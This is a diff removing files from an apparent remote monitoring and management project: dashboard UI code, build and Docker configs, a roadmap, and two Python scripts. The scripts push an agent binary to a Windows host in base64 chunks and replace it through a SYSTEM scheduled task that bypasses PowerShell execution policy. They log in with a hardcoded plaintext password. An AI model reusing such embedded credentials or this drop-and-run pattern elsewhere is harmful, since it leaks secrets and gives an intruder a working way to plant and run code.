<th className="text-left py-3 px-4 font-medium">Site</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Client</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Site Code</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Agents</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Status</th>
|
||||
<th className="text-right py-3 px-4 font-medium">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{filteredSites.map((site: Site) => (
|
||||
<tr
|
||||
key={site.id}
|
||||
className="border-b border-[hsl(var(--border))] hover:bg-[hsl(var(--muted))]/50"
|
||||
>
|
||||
<td className="py-3 px-4">
|
||||
<div className="font-medium">{site.name}</div>
|
||||
{site.address && (
|
||||
<div className="text-sm text-[hsl(var(--muted-foreground))]">
|
||||
{site.address}
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="py-3 px-4 text-sm">
|
||||
{site.client_name || "-"}
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<span className="px-2 py-1 bg-[hsl(var(--muted))] rounded text-sm font-mono">
|
||||
{site.site_code}
|
||||
</span>
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<span className="text-sm">{site.agent_count} agents</span>
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<span
|
||||
className={`px-2 py-1 rounded-full text-xs font-medium ${
|
||||
site.is_active
|
||||
? "bg-green-100 text-green-800"
|
||||
: "bg-gray-100 text-gray-800"
|
||||
}`}
|
||||
>
|
||||
{site.is_active ? "Active" : "Inactive"}
|
||||
</span>
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<div className="flex items-center justify-end gap-2">
|
||||
{regeneratingKey === site.id ? (
|
||||
<div className="flex items-center gap-1">
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={() => regenerateKeyMutation.mutate(site.id)}
|
||||
disabled={regenerateKeyMutation.isPending}
|
||||
>
|
||||
Confirm
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => setRegeneratingKey(null)}
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Regenerate API Key"
|
||||
onClick={() => setRegeneratingKey(site.id)}
|
||||
>
|
||||
<Key className="h-4 w-4" />
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Edit site"
|
||||
onClick={() => handleEdit(site)}
|
||||
>
|
||||
<Edit2 className="h-4 w-4" />
|
||||
</Button>
|
||||
{deleteConfirm === site.id ? (
|
||||
<div className="flex items-center gap-1">
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={() => deleteMutation.mutate(site.id)}
|
||||
disabled={deleteMutation.isPending}
|
||||
>
|
||||
Confirm
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => setDeleteConfirm(null)}
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Delete site"
|
||||
onClick={() => setDeleteConfirm(site.id)}
|
||||
>
|
||||
<Trash2 className="h-4 w-4" />
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
{showModal && (
|
||||
<SiteModal
|
||||
site={editingSite}
|
||||
clients={clients}
|
||||
onClose={handleCloseModal}
|
||||
onSave={handleSave}
|
||||
isLoading={createMutation.isPending || updateMutation.isPending}
|
||||
/>
|
||||
)}
|
||||
|
||||
{newSiteApiKey && (
|
||||
<ApiKeyModal
|
||||
apiKey={newSiteApiKey.apiKey}
|
||||
siteCode={newSiteApiKey.siteCode}
|
||||
onClose={() => setNewSiteApiKey(null)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
|
||||
"target": "ES2022",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["ES2022", "DOM", "DOM.Iterable"],
|
||||
"module": "ESNext",
|
||||
"types": ["vite/client"],
|
||||
"skipLibCheck": true,
|
||||
|
||||
/* Bundler mode */
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": false,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx",
|
||||
|
||||
/* Linting */
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"erasableSyntaxOnly": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noUncheckedSideEffectImports": true
|
||||
},
|
||||
"include": ["src"]
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
{
|
||||
"files": [],
|
||||
"references": [
|
||||
{ "path": "./tsconfig.app.json" },
|
||||
{ "path": "./tsconfig.node.json" }
|
||||
]
|
||||
}
|
||||
@@ -1,26 +0,0 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
|
||||
"target": "ES2023",
|
||||
"lib": ["ES2023"],
|
||||
"module": "ESNext",
|
||||
"types": ["node"],
|
||||
"skipLibCheck": true,
|
||||
|
||||
/* Bundler mode */
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
|
||||
/* Linting */
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"erasableSyntaxOnly": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noUncheckedSideEffectImports": true
|
||||
},
|
||||
"include": ["vite.config.ts"]
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
import { defineConfig } from 'vite'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
|
||||
// https://vite.dev/config/
|
||||
export default defineConfig({
|
||||
plugins: [react(), tailwindcss()],
|
||||
})
|
||||
@@ -1,29 +0,0 @@
|
||||
# GuruRMM Production Environment - Jupiter (Unraid)
|
||||
# Copy to .env and configure with secure values
|
||||
|
||||
# ============================================
|
||||
# Database Configuration
|
||||
# ============================================
|
||||
DB_NAME=gururmm
|
||||
DB_USER=gururmm
|
||||
|
||||
# Generate a secure password: openssl rand -base64 24
|
||||
DB_PASSWORD=CHANGE_ME_SECURE_PASSWORD
|
||||
|
||||
# ============================================
|
||||
# Server Configuration
|
||||
# ============================================
|
||||
|
||||
# Generate a secure JWT secret: openssl rand -base64 32
|
||||
JWT_SECRET=CHANGE_ME_JWT_SECRET
|
||||
|
||||
# Logging level: trace, debug, info, warn, error
|
||||
RUST_LOG=info
|
||||
|
||||
# ============================================
|
||||
# Dashboard Configuration (when ready)
|
||||
# ============================================
|
||||
|
||||
# Public URL for the API (used by dashboard)
|
||||
# This should match your NPM configuration
|
||||
VITE_API_URL=https://rmm-api.azcomputerguru.com
|
||||
@@ -1,80 +0,0 @@
|
||||
# GuruRMM Production Deployment for Jupiter (Unraid)
|
||||
#
|
||||
# Deployment steps:
|
||||
# 1. Copy this directory to Jupiter: /mnt/user/appdata/gururmm/
|
||||
# 2. Copy .env.example to .env and configure
|
||||
# 3. Login to Gitea registry: docker login git.azcomputerguru.com
|
||||
# 4. Run: docker-compose up -d
|
||||
#
|
||||
# For Unraid Docker UI, you can also create individual containers manually
|
||||
# using the settings in this file as reference.
|
||||
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
# PostgreSQL Database
|
||||
# On Unraid, you might prefer to use the existing PostgreSQL from Community Apps
|
||||
# If so, remove this service and update DATABASE_URL in .env
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gururmm-db
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
POSTGRES_DB: ${DB_NAME:-gururmm}
|
||||
POSTGRES_USER: ${DB_USER:-gururmm}
|
||||
POSTGRES_PASSWORD: ${DB_PASSWORD:?DB_PASSWORD is required}
|
||||
volumes:
|
||||
- /mnt/user/appdata/gururmm/postgres:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${DB_USER:-gururmm} -d ${DB_NAME:-gururmm}"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
networks:
|
||||
- gururmm
|
||||
|
||||
# GuruRMM Server (API + WebSocket)
|
||||
server:
|
||||
image: git.azcomputerguru.com/azcomputerguru/gururmm-server:latest
|
||||
container_name: gururmm-server
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
DATABASE_URL: postgres://${DB_USER:-gururmm}:${DB_PASSWORD}@postgres/${DB_NAME:-gururmm}
|
||||
JWT_SECRET: ${JWT_SECRET:?JWT_SECRET is required}
|
||||
SERVER_HOST: 0.0.0.0
|
||||
SERVER_PORT: 3001
|
||||
RUST_LOG: ${RUST_LOG:-info}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
ports:
|
||||
- "3001:3001"
|
||||
labels:
|
||||
# For Nginx Proxy Manager or Traefik
|
||||
- "traefik.enable=true"
|
||||
- "traefik.http.routers.gururmm-api.rule=Host(`rmm-api.azcomputerguru.com`)"
|
||||
- "traefik.http.services.gururmm-api.loadbalancer.server.port=3001"
|
||||
networks:
|
||||
- gururmm
|
||||
|
||||
# GuruRMM Dashboard (when ready)
|
||||
# dashboard:
|
||||
# image: git.azcomputerguru.com/azcomputerguru/gururmm-dashboard:latest
|
||||
# container_name: gururmm-dashboard
|
||||
# restart: unless-stopped
|
||||
# environment:
|
||||
# VITE_API_URL: ${VITE_API_URL:-https://rmm-api.azcomputerguru.com}
|
||||
# ports:
|
||||
# - "3000:80"
|
||||
# depends_on:
|
||||
# - server
|
||||
# labels:
|
||||
# - "traefik.enable=true"
|
||||
# - "traefik.http.routers.gururmm-dashboard.rule=Host(`rmm.azcomputerguru.com`)"
|
||||
# - "traefik.http.services.gururmm-dashboard.loadbalancer.server.port=80"
|
||||
# networks:
|
||||
# - gururmm
|
||||
|
||||
networks:
|
||||
gururmm:
|
||||
driver: bridge
|
||||
@@ -1,67 +0,0 @@
|
||||
import requests, json, time, sys
|
||||
|
||||
with open("/tmp/agent_b64.txt") as f:
|
||||
b64 = f.read().strip()
|
||||
print("Base64 length:", len(b64))
|
||||
|
||||
token_r = requests.post("http://localhost:3001/api/auth/login", json={"email": "claude-api@azcomputerguru.com", "password": "ClaudeAPI2026!@#"})
|
||||
token = token_r.json()["token"]
|
||||
headers = {"Authorization": "Bearer " + token, "Content-Type": "application/json"}
|
||||
agent_id = "d28a1c90-47d7-448f-a287-197bc8892234"
|
||||
|
||||
chunk_size = 200000
|
||||
chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)]
|
||||
print("Chunks:", len(chunks))
|
||||
|
||||
def send_cmd(cmd, timeout=60, wait=15):
|
||||
r = requests.post(
|
||||
"http://localhost:3001/api/agents/" + agent_id + "/command",
|
||||
headers=headers,
|
||||
json={"command_type": "powershell", "command": cmd, "timeout_seconds": timeout}
|
||||
)
|
||||
cmd_id = r.json()["command_id"]
|
||||
time.sleep(wait)
|
||||
r2 = requests.get("http://localhost:3001/api/commands/" + cmd_id, headers=headers)
|
||||
return r2.json()
|
||||
|
||||
# Chunk 1: create file
|
||||
cmd = "$b = [Convert]::FromBase64String('" + chunks[0] + "'); New-Item -ItemType Directory -Path C:/Temp -Force | Out-Null; [System.IO.File]::WriteAllBytes('C:/Temp/agent_chunk.bin', $b); Write-Output ('Chunk 1: ' + $b.Length.ToString() + ' bytes')"
|
||||
d = send_cmd(cmd)
|
||||
print("Chunk 1:", d["status"], d.get("stdout",""))
|
||||
if d["status"] != "completed":
|
||||
print("ERROR:", (d.get("stderr","") or "")[:300])
|
||||
sys.exit(1)
|
||||
|
||||
# Append remaining chunks
|
||||
for i, chunk in enumerate(chunks[1:], 2):
|
||||
cmd = "$b = [Convert]::FromBase64String('" + chunk + "'); $f = [System.IO.File]::Open('C:/Temp/agent_chunk.bin', [System.IO.FileMode]::Append); $f.Write($b, 0, $b.Length); $f.Close(); Write-Output ('Chunk " + str(i) + ": ' + $b.Length.ToString() + ' bytes')"
|
||||
d = send_cmd(cmd, wait=10)
|
||||
print("Chunk", i, ":", d["status"], d.get("stdout",""))
|
||||
if d["status"] != "completed":
|
||||
print("ERROR:", (d.get("stderr","") or "")[:300])
|
||||
sys.exit(1)
|
||||
|
||||
# Verify final size
|
||||
d = send_cmd("(Get-Item C:/Temp/agent_chunk.bin).Length", wait=5)
|
||||
print("Final size:", d.get("stdout","").strip(), "(expected 3577856)")
|
||||
|
||||
# Now create update script that stops service, replaces binary, starts service
|
||||
update_cmd = """
|
||||
$src = 'C:/Temp/agent_chunk.bin'
|
||||
$dst = 'C:/Program Files/GuruRMM/gururmm-agent.exe'
|
||||
$bak = 'C:/Program Files/GuruRMM/gururmm-agent.exe.bak'
|
||||
Copy-Item $dst $bak -Force
|
||||
Stop-Service GuruRMMAgent -Force
|
||||
Start-Sleep -Seconds 2
|
||||
Copy-Item $src $dst -Force
|
||||
Start-Service GuruRMMAgent
|
||||
Write-Output 'Agent updated and restarted'
|
||||
"""
|
||||
print("\nNow creating scheduled task to perform the update...")
|
||||
sched_cmd = 'schtasks /create /tn AgentUpdate /tr "powershell.exe -ExecutionPolicy Bypass -Command \\"' + update_cmd.replace('\n', '; ').strip() + '\\"" /sc ONCE /st 00:00 /sd 01/01/2030 /ru SYSTEM /f'
|
||||
d = send_cmd(sched_cmd, wait=5)
|
||||
print("Sched task create:", d["status"], d.get("stdout",""), d.get("stderr","")[:200] if d.get("stderr") else "")
|
||||
|
||||
d = send_cmd("schtasks /run /tn AgentUpdate", wait=5)
|
||||
print("Sched task run:", d["status"], d.get("stdout",""))
|
||||
print("\nAgent will restart momentarily. Wait 30s then check connection.")
|
||||
@@ -1,88 +0,0 @@
|
||||
"""Deploy agent binary to AD2 by writing base64 text chunks to a file, then decoding."""
|
||||
import requests, json, time, sys, base64
|
||||
|
||||
# Read and encode the binary
|
||||
with open("agent/target/release/gururmm-agent.exe", "rb") as f:
|
||||
binary = f.read()
|
||||
b64 = base64.b64encode(binary).decode('ascii')
|
||||
print(f"Binary: {len(binary)} bytes, Base64: {len(b64)} chars")
|
||||
|
||||
# Auth
|
||||
token_r = requests.post('http://172.16.3.30:3001/api/auth/login', json={
|
||||
'email': 'claude-api@azcomputerguru.com',
|
||||
'password': 'ClaudeAPI2026!@#'
|
||||
})
|
||||
token = token_r.json()['token']
|
||||
headers = {'Authorization': 'Bearer ' + token, 'Content-Type': 'application/json'}
|
||||
agent_id = 'd28a1c90-47d7-448f-a287-197bc8892234'
|
||||
|
||||
def send_cmd(cmd, timeout=60, wait=10):
|
||||
r = requests.post(
|
||||
'http://172.16.3.30:3001/api/agents/' + agent_id + '/command',
|
||||
headers=headers,
|
||||
json={'command_type': 'powershell', 'command': cmd, 'timeout_seconds': timeout}
|
||||
)
|
||||
data = r.json()
|
||||
cmd_id = data['command_id']
|
||||
time.sleep(wait)
|
||||
# Poll until complete
|
||||
for attempt in range(10):
|
||||
r2 = requests.get('http://172.16.3.30:3001/api/commands/' + cmd_id, headers=headers)
|
||||
d = r2.json()
|
||||
if d['status'] != 'running':
|
||||
return d
|
||||
time.sleep(5)
|
||||
return d
|
||||
|
||||
# Step 1: Delete old file and create fresh one
|
||||
print("Step 1: Preparing temp file...")
|
||||
d = send_cmd("Remove-Item C:/Temp/agent.b64 -Force -ErrorAction SilentlyContinue; "
|
||||
"New-Item -ItemType Directory -Path C:/Temp -Force | Out-Null; "
|
||||
"'' | Set-Content C:/Temp/agent.b64 -NoNewline; "
|
||||
"Write-Output 'Ready'", wait=8)
|
||||
print(f" {d['status']}: {d.get('stdout','').strip()}")
|
||||
if d['status'] != 'completed':
|
||||
print(f" ERROR: {(d.get('stderr','') or '')[:300]}")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 2: Write base64 text in chunks
|
||||
# Windows command line limit is ~32KB, keep chunks under 20KB to be safe
|
||||
chunk_size = 20000
|
||||
chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)]
|
||||
print(f"Step 2: Writing {len(chunks)} chunks of ~{chunk_size} chars each...")
|
||||
|
||||
for i, chunk in enumerate(chunks):
|
||||
# Use Add-Content to append text (no base64 decode here, just text)
|
||||
# Escape single quotes in base64 (shouldn't have any, but just in case)
|
||||
safe_chunk = chunk.replace("'", "''")
|
||||
cmd = f"Add-Content -Path C:/Temp/agent.b64 -Value '{safe_chunk}' -NoNewline; Write-Output 'chunk{i+1}ok'"
|
||||
d = send_cmd(cmd, wait=5)
|
||||
status = d['status']
|
||||
stdout = d.get('stdout', '').strip()
|
||||
if status != 'completed' or f'chunk{i+1}ok' not in stdout:
|
||||
print(f" Chunk {i+1}/{len(chunks)} FAILED: {status} - {stdout}")
|
||||
print(f" stderr: {(d.get('stderr','') or '')[:300]}")
|
||||
sys.exit(1)
|
||||
if (i+1) % 10 == 0 or i == 0 or i == len(chunks)-1:
|
||||
print(f" Chunk {i+1}/{len(chunks)}: OK")
|
||||
|
||||
# Step 3: Verify base64 file size
|
||||
print("Step 3: Verifying base64 file...")
|
||||
d = send_cmd(f"$f = Get-Item C:/Temp/agent.b64; Write-Output $f.Length", wait=5)
|
||||
remote_size = d.get('stdout', '').strip()
|
||||
print(f" Remote b64 size: {remote_size} (expected: {len(b64)})")
|
||||
|
||||
# Step 4: Decode base64 file to binary
|
||||
print("Step 4: Decoding base64 to binary...")
|
||||
cmd = ("$b64 = Get-Content C:/Temp/agent.b64 -Raw; "
|
||||
"$bytes = [Convert]::FromBase64String($b64); "
|
||||
"[System.IO.File]::WriteAllBytes('C:/Temp/gururmm-agent-new.exe', $bytes); "
|
||||
"$f = Get-Item C:/Temp/gururmm-agent-new.exe; "
|
||||
"Write-Output ('Decoded: ' + $f.Length.ToString() + ' bytes')")
|
||||
d = send_cmd(cmd, timeout=120, wait=15)
|
||||
print(f" {d['status']}: {d.get('stdout','').strip()}")
|
||||
if d.get('stderr'):
|
||||
print(f" stderr: {(d.get('stderr','') or '')[:300]}")
|
||||
|
||||
print(f"\nExpected binary size: {len(binary)} bytes")
|
||||
print("Done!")
|
||||
@@ -1,66 +0,0 @@
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
# PostgreSQL Database
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gururmm-db
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
POSTGRES_DB: ${DB_NAME:-gururmm}
|
||||
POSTGRES_USER: ${DB_USER:-gururmm}
|
||||
POSTGRES_PASSWORD: ${DB_PASSWORD:?DB_PASSWORD is required}
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${DB_USER:-gururmm} -d ${DB_NAME:-gururmm}"]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
networks:
|
||||
- gururmm-network
|
||||
|
||||
# GuruRMM Server (API + WebSocket)
|
||||
server:
|
||||
build:
|
||||
context: ./server
|
||||
dockerfile: Dockerfile
|
||||
container_name: gururmm-server
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
DATABASE_URL: postgres://${DB_USER:-gururmm}:${DB_PASSWORD}@postgres/${DB_NAME:-gururmm}
|
||||
JWT_SECRET: ${JWT_SECRET:?JWT_SECRET is required}
|
||||
SERVER_HOST: 0.0.0.0
|
||||
SERVER_PORT: 3001
|
||||
RUST_LOG: ${RUST_LOG:-info}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
ports:
|
||||
- "${SERVER_PORT:-3001}:3001"
|
||||
networks:
|
||||
- gururmm-network
|
||||
|
||||
# GuruRMM Dashboard (React frontend)
|
||||
dashboard:
|
||||
build:
|
||||
context: ./dashboard
|
||||
dockerfile: Dockerfile
|
||||
args:
|
||||
VITE_API_URL: ${VITE_API_URL:-http://localhost:3001}
|
||||
container_name: gururmm-dashboard
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "${DASHBOARD_PORT:-3000}:80"
|
||||
depends_on:
|
||||
- server
|
||||
networks:
|
||||
- gururmm-network
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
driver: local
|
||||
|
||||
networks:
|
||||
gururmm-network:
|
||||
driver: bridge
|
||||
@@ -1,653 +0,0 @@
|
||||
# GuruRMM Feature Roadmap
|
||||
|
||||
This document tracks potential features for consideration. Features are categorized by area and marked with priority/status as planning progresses.
|
||||
|
||||
## Legend
|
||||
- [ ] Not started
|
||||
- [~] In consideration
|
||||
- [x] Implemented
|
||||
- Priority: P1 (critical), P2 (important), P3 (nice-to-have)
|
||||
|
||||
---
|
||||
|
||||
## Core Agent Features
|
||||
|
||||
### Monitoring & Metrics
|
||||
- [ ] CPU, RAM, disk usage (basic) - P1
|
||||
- [ ] Process monitoring (top processes by resource) - P2
|
||||
- [ ] Service status monitoring - P1
|
||||
- [ ] Disk health (SMART data) - P2
|
||||
- [ ] Network interface stats - P2
|
||||
- [ ] Custom metric collectors (plugin system) - P3
|
||||
- [ ] Windows Event Log monitoring - P2
|
||||
- [ ] Linux syslog/journald monitoring - P2
|
||||
- [ ] Application-specific monitors (SQL Server, IIS, Apache, etc.) - P3
|
||||
|
||||
### Remote Commands
|
||||
- [ ] Execute shell commands - P1
|
||||
- [ ] PowerShell support (Windows) - P1
|
||||
- [ ] Bash support (Linux/Mac) - P1
|
||||
- [ ] Command templates (reusable scripts) - P2
|
||||
- [ ] Scheduled commands (cron-like) - P2
|
||||
- [ ] Command approval workflow - P3
|
||||
- [ ] Command audit logging - P1
|
||||
|
||||
### File Operations
|
||||
- [ ] File transfer (push/pull) - P2
|
||||
- [ ] File browser - P3
|
||||
- [ ] Configuration file management - P2
|
||||
- [ ] Backup file retrieval - P3
|
||||
|
||||
### Software Management
|
||||
- [ ] Installed software inventory - P2
|
||||
- [ ] Software deployment (silent install) - P2
|
||||
- [ ] Patch management integration - P3
|
||||
- [ ] Windows Update status - P2
|
||||
- [ ] Package manager integration (apt, yum, chocolatey, winget) - P3
|
||||
|
||||
### Agent Updates
|
||||
- [ ] Built-in update handler (not shell script based) - P1
|
||||
- [ ] Server sends update command with version, URL, checksum - P1
|
||||
- [ ] Download to temp, verify SHA256, replace binary - P1
|
||||
- [ ] Platform-specific restart logic - P1
|
||||
- [ ] Backup previous binary for rollback - P2
|
||||
- [ ] Auto-rollback if new version fails to connect - P2
|
||||
- [ ] Version tracking in server database - P1
|
||||
- [ ] Fleet-wide version dashboard - P2
|
||||
- [ ] Staged rollouts (% of agents at a time) - P3
|
||||
- [ ] Update scheduling (maintenance windows) - P2
|
||||
|
||||
### White-Labeling / Branding
|
||||
MSPs need to brand the agent with their company identity.
|
||||
|
||||
#### Install-Time Branding
|
||||
- [ ] Custom service name (`--service-name "AcmeTech Agent"`) - P2
|
||||
- [ ] Custom display name (`--display-name "AcmeTech Monitor"`) - P2
|
||||
- [ ] Custom install path (`--install-path "C:\Program Files\AcmeTech"`) - P2
|
||||
- [ ] Custom binary name (rename on install) - P3
|
||||
- [ ] Branding config file (alternative to CLI flags) - P2
|
||||
|
||||
#### Runtime Branding (Server-Managed)
|
||||
- [ ] Branding config pushed from server - P2
|
||||
- [ ] MSP logo/icon URL - P2
|
||||
- [ ] Support contact info (phone, email, URL) - P2
|
||||
- [ ] Custom "About" dialog content - P2
|
||||
- [ ] Per-customer branding overrides - P3
|
||||
|
||||
### System Tray / End-User Self-Service (Windows/macOS)
|
||||
Interactive tray icon for end users to access self-service features.
|
||||
|
||||
#### Tray Infrastructure
|
||||
- [ ] System tray icon (Windows) - P2
|
||||
- [ ] Menu bar icon (macOS) - P2
|
||||
- [ ] Custom icon support (MSP branding) - P2
|
||||
- [ ] Connection status indicator (connected/disconnected) - P2
|
||||
- [ ] Tooltip with basic info (hostname, status) - P2
|
||||
|
||||
#### Built-In Actions
|
||||
- [ ] Show System Info dialog (hostname, IP, OS, agent version) - P2
|
||||
- [ ] Create Support Ticket (opens form or portal link) - P2
|
||||
- [ ] Screenshot to Ticket (capture screen, attach to new ticket) - P2
|
||||
- [ ] About dialog (version, MSP branding, support contact) - P2
|
||||
|
||||
#### Admin-Definable Custom Actions
|
||||
Server pushes custom tray menu items that execute predefined commands.
|
||||
- [ ] Custom action data model (label, icon, command, elevation, confirm) - P2
|
||||
- [ ] Action types: RunCommand, RestartService, OpenUrl, RunScript - P2
|
||||
- [ ] Confirmation dialogs ("Are you sure?") - P2
|
||||
- [ ] Elevation support (run as admin) - P2
|
||||
- [ ] Per-customer action sets - P2
|
||||
- [ ] Action categories/submenus - P3
|
||||
- [ ] Success/failure notifications - P2
|
||||
|
||||
#### Example Custom Actions
|
||||
```
|
||||
├── Quick Actions
|
||||
│ ├── Restart Print Spooler
|
||||
│ ├── Clear Temp Files
|
||||
│ ├── Restart Network Adapter
|
||||
│ ├── Flush DNS Cache
|
||||
│ └── (admin-defined...)
|
||||
```
|
||||
|
||||
#### Security
|
||||
- [ ] Actions are server-defined only (users can't add) - P1
|
||||
- [ ] Audit logging of tray action executions - P2
|
||||
- [ ] Optional PIN/password for sensitive actions - P3
|
||||
|
||||
---
|
||||
|
||||
## Server/API Features
|
||||
|
||||
### Authentication & Authorization
|
||||
- [ ] JWT authentication - P1
|
||||
- [ ] API keys for agents - P1
|
||||
- [ ] Role-based access control (RBAC) - P2
|
||||
- [ ] Multi-tenant support - P3
|
||||
- [ ] SSO integration (SAML, OAuth) - P3
|
||||
- [ ] 2FA/MFA support - P2
|
||||
|
||||
### Agent Management
|
||||
- [ ] Agent registration/enrollment - P1
|
||||
- [ ] Agent grouping/tagging - P2
|
||||
- [ ] Agent policies (config profiles) - P2
|
||||
- [ ] Bulk operations - P2
|
||||
- [ ] Agent health monitoring - P1
|
||||
- [ ] Auto-update agents - P2
|
||||
|
||||
### Site Proxy / Local Node
|
||||
- [ ] Agent can operate as site proxy/hub - P2
|
||||
- [ ] Local agents connect to proxy instead of cloud - P2
|
||||
- [ ] Proxy aggregates metrics and forwards to server - P2
|
||||
- [ ] Store-and-forward when WAN is unavailable - P2
|
||||
- [ ] Local command relay (proxy executes commands on local agents) - P2
|
||||
- [ ] Reduced WAN bandwidth (batched/compressed uploads) - P3
|
||||
- [ ] Failover between multiple proxies at site - P3
|
||||
- [ ] Proxy discovery (agents auto-find local proxy) - P3
|
||||
- [ ] Mesh communication between proxies - P3
|
||||
- [ ] Local caching of scripts/files for faster deployment - P2
|
||||
- [ ] Site-level alerting (proxy can alert locally if WAN down) - P3
|
||||
|
||||
### Alerting
|
||||
- [ ] Threshold-based alerts - P1
|
||||
- [ ] Alert escalation - P2
|
||||
- [ ] Alert suppression/maintenance windows - P2
|
||||
- [ ] Email notifications - P1
|
||||
- [ ] SMS notifications - P3
|
||||
- [ ] Webhook notifications - P2
|
||||
- [ ] PagerDuty/Opsgenie integration - P3
|
||||
- [ ] Slack/Teams integration - P2
|
||||
|
||||
### Reporting & Analytics
|
||||
- [ ] Unified reporting engine (works across RMM, PSA, all modules) - P1
|
||||
- [ ] Clean, modern report templates - P1
|
||||
- [ ] Custom report builder (drag-and-drop) - P2
|
||||
- [ ] Scheduled report delivery (email, portal) - P2
|
||||
- [ ] White-label/branding support - P2
|
||||
- [ ] Export formats: PDF, Excel, CSV, HTML - P1
|
||||
- [ ] Executive summary dashboards - P2
|
||||
- [ ] Uptime/SLA reports - P2
|
||||
- [ ] Resource usage trends with visualizations - P2
|
||||
- [ ] Ticket metrics (response time, resolution time, volume) - P2
|
||||
- [ ] Technician performance/utilization - P2
|
||||
- [ ] Customer health scores - P3
|
||||
- [ ] Revenue/profitability by customer - P3
|
||||
- [ ] Report templates library (pre-built, shareable) - P2
|
||||
|
||||
#### Data Granularity & Flexible Calculations
|
||||
The data model must support arbitrary business logic, not just canned reports.
|
||||
|
||||
- [ ] Granular time entry data (tech, client, ticket, service type, rate plan) - P1
|
||||
- [ ] Effective rate tracking per client/plan (block rate vs hourly vs plan) - P2
|
||||
- [ ] Calculated fields / custom formulas in reports - P2
|
||||
- [ ] Multi-variable calculations (hours × effective rate × commission %) - P2
|
||||
- [ ] Aggregation at any level (tech, client, service type, date range) - P2
|
||||
- [ ] Rate plan / contract type as first-class data dimension - P2
|
||||
- [ ] Historical rate tracking (rate was X on this date) - P2
|
||||
- [ ] Payroll-ready exports (base + commission breakdown) - P2
|
||||
- [ ] Custom metrics definition (define your own KPIs) - P2
|
||||
- [ ] Formula builder for complex business rules - P3
|
||||
- [ ] Drill-down from summary to line-item detail - P2
|
||||
- [ ] Data warehouse / OLAP cube for complex analytics - P3
|
||||
- [ ] API access to raw data for external BI tools - P2
|
||||
|
||||
---
|
||||
|
||||
## Dashboard Features
|
||||
|
||||
### Views
|
||||
- [ ] Agent list with status - P1
|
||||
- [ ] Agent detail view - P1
|
||||
- [ ] Real-time metrics charts - P2
|
||||
- [ ] Map view (geographic) - P3
|
||||
- [ ] Network topology view - P3
|
||||
- [ ] Custom dashboards - P3
|
||||
|
||||
### Remote Access
|
||||
